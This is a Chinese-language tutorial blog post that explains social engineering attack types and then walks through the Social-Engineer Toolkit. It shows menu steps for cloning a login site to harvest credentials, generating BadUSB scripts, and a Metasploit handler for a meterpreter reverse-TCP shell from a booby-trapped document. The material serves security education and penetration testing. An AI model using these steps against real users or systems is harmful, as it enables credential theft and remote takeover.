一、什么是社会工程学?
社会工程学本质是 “攻心为上” 的非技术攻击—— 不依赖黑客工具、漏洞利用,而是利用人的心理弱点(贪婪、信任、恐惧、疏忽),诱导目标主动泄露敏感信息(密码、服务器地址)、执行危险操作(点击钓鱼链接、开放防火墙端口),最终达到入侵系统、窃取数据等目的。
简单说:技术攻击是 破解机器,社会工程学是操控人,而人往往是网络安全中最薄弱的一环(比防火墙、加密算法更容易突破)。
核心:抓住人性的关键弱点
- 信任:对 “权威身份”(IT 管理员、领导、供应商)、“熟悉场景”(公司内部邮件、工作群)不加验证就信任;
- 恐惧焦虑:接到 “账户冻结”“服务器告警”“违规处罚” 等通知时,急于解决问题而忽略风险;
- 贪婪懒惰:被 “免费福利”“内部优惠” 吸引,或为了 “省麻烦”(比如点击简化流程的链接)降低警惕。
常见的社会工程学攻击类型
1. 钓鱼攻击(最常见)
- 形式:伪装成可信主体(公司 IT 部门、阿里云 / 腾讯云客服、银行),通过邮件、短信、工作群发送链接或附件;
- 场景案例:攻击者伪装成 “IT 运维主管”,给部门同事发邮件:“【紧急通知】服务器漏洞需紧急修复,请所有运维人员点击链接(伪造成公司内网地址)登录账号验证,1 小时内完成否则影响业务”—— 不少人因信任 “主管身份” 和 “紧急场景”,直接输入域账号密码,导致账号被盗。
- 进阶版:钓鱼邮件附件是伪装成 “服务器配置文档.xlsx” 的木马,打开后窃取电脑上的 SSH 私钥、数据库密码。
2. pretexting( pretext 诈骗 / 伪装身份)
- 形式:攻击者编造合理 “pretext”(借口),伪装成特定身份套取信息;
- 场景案例:攻击者伪装成 “服务器硬件供应商工程师”,打电话给公司运维:“你好,我是戴尔技术支持,你上周报修的服务器硬盘故障需要核实 SN 码(设备序列号),另外麻烦提供一下服务器登录地址,我远程排查是否有兼容问题”—— 运维因 “报修记录”(可能是攻击者提前打探到的)放松警惕,泄露关键信息。
3. 物理入侵
- 形式:利用物理场景的信任漏洞,混入目标环境;
- 场景案例:攻击者伪装成 “外卖员”“装修工人”,尾随公司员工进入办公区,趁运维不在工位时,快速在服务器上插入带木马的 U 盘,或拍下显示器上的数据库连接信息、防火墙配置界面。
4. 诱饵攻击
- 形式:通过 “免费福利” 诱导目标主动接触危险载体;
- 运维场景案例:攻击者在公司机房、办公区投放带标签的 U 盘(比如写着 “2024 年服务器备份数据”“运维工具合集”),运维人员捡到后,出于 “工作需要” 插入服务器或办公电脑,导致木马植入。
5. 肩窥(Shoulder Surfing)
- 形式:近距离观察目标输入密码、操作电脑;
- 场景案例:攻击者在机房门口 “假装等待”,趁运维登录服务器控制台时,偷看键盘输入的管理员密码,或手机拍摄登录界面的配置参数。
社会工程学主要是以人为核心进行得一系列的攻击,所以说这里面没有涉及太多得工具,但是也有一些工具,涵盖了很多方面的社会工程学攻击
Social-Engineer Toolkit (SET)是一款由 TrustedSec 创始人 David Kennedy 开发的开源渗透测试框架,专门用于社会工程学攻击模拟和安全评估。
二、SET 功能模块详解
社会工程攻击模块
1. 钓鱼攻击系列
- 鱼叉式钓鱼:针对特定个人 / 组织的高度定制化钓鱼邮件,可伪造发件人、添加恶意附件
- 网页钓鱼:创建克隆网站(如银行、社交媒体),诱骗用户输入凭证
# 网站克隆操作路径: setoolkit → 1(社会工程攻击) → 2(网站攻击向量) → 3(凭证收集器) → 2(网站克隆) - 短信钓鱼:伪造短信,包含恶意链接或诱导信息
2. 基于信任的攻击
- 身份伪装:模拟 IT 支持、高管等可信角色,通过电话 / 邮件获取敏感信息
- 会话劫持:利用中间人技术窃取用户会话,获取持续访问权限
3. 物理与硬件攻击
- USB / 硬件植入:生成 Teensy/Digispark 攻击脚本(BadUSB 变种),插入目标设备自动执行恶意代码
# 生成恶意USB脚本路径: setoolkit → 4(创建载荷) → 7(Teensy Arduino攻击) → 2(自定义Ducky脚本) - WiFi 钓鱼热点:创建伪造 WiFi 接入点,窃取连接用户的网络流量和凭证
辅助模块
1. 快速渗透通道 (Fast-Track)
- 集成常见渗透测试流程(漏洞扫描、利用、后渗透),提供一键式操作
2. 第三方模块支持
- 允许集成社区开发的攻击脚本,扩展工具功能边界
3. 载荷生成器
- 与 Metasploit 集成,生成多种类型的恶意载荷(反向 Shell、木马等)
三、SET 使用详解(钓鱼网站为例)
1. 环境准备
# Kali Linux已预装,直接使用:
sudo setoolkit # 需要root权限
2. 钓鱼网站创建步骤
第 1 步:启动并选择攻击类型
SET v6.1.9 - The Social-Engineer Toolkit
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
...
Enter the number of the module you want to use: 1
第 2 步:选择网站攻击向量
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors <-- 选择此项
3) Infectious Media Generator
...
Enter the number of the attack to launch: 2
第 3 步:选择 "网站克隆 + 凭证收集"
1) Web Templates
2) Site Cloner <-- 选择此项 (克隆目标网站)
3) Credential Harvester
...
Enter the number of the attack to launch: 2
第 4 步:配置攻击参数
[*] Website Attack: Site Cloner
[*] Target URL: https://www.example.com/login <-- 输入目标网站URL
[*] Listener IP: 192.168.1.100 <-- 输入你的IP
[*] Port: 80 <-- 默认端口
[*] Cloning website: https://www.example.com/login...
[*] Server started on port 80
[*] Waiting for victims...
第 5 步:诱导目标访问
- 通过邮件、短信等渠道发送伪造链接(如
http://192.168.1.100/login) - 当用户在克隆网站输入账号密码时,SET 会自动捕获并显示在终端
3. 高级应用:与 Metasploit 集成
SET 可与 Metasploit 无缝协作,创建 "钓鱼→感染→控制" 的完整攻击链:
# 1. 使用SET生成包含Metasploit载荷的恶意文档
setoolkit → 4(创建载荷) → 1(生成Metasploit载荷) → ...
# 2. 当受害者打开文档时,自动建立Metasploit会话
msfconsole → use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
run
2933

被折叠的 条评论
为什么被折叠?



